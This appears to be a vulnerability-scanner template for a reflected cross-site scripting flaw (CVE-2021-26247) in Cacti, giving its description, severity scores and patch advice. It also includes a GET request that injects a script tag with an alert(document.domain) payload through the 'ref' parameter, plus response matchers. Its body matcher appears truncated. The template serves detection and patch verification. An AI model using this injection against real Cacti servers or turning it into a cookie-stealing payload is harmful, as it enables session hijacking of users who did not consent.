id: CVE-2021-26247 info: name: Cacti - Cross-Site Scripting author: dhiyaneshDK severity: medium description: Cacti contains a cross-site scripting vulnerability via "http:///auth_changepassword.php?ref=" which can successfully execute the JavaScript payload present in the "ref" URL parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. remediation: | Apply the latest security patches or upgrade to a patched version of Cacti to mitigate this vulnerability. reference: - https://www.cacti.net/info/changelog - https://nvd.nist.gov/vuln/detail/CVE-2021-26247 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-26247 cwe-id: CWE-79 epss-score: 0.00255 epss-percentile: 0.63314 cpe: cpe:2.3:a:cacti:cacti:0.8.7g:*:*:*:*:*:*:* metadata: max-request: 1 vendor: cacti product: cacti tags: cve,cve2021,cacti,xss http: - method: GET path: - '{{BaseURL}}/auth_changepassword.php?ref=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E' matchers-condition: and matchers: - type: word part: body words: - '">' - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4a0a0047304502203e5d5627816a2eaee1484b6aba54269f0c8a1e81720f0689ef82ecaa362115ef022100eda08929a8d38102d85c2587bdf2e5be2480928b50c8232dc6e514ef206b907f:922c64590222798bb761d5b6d8e72950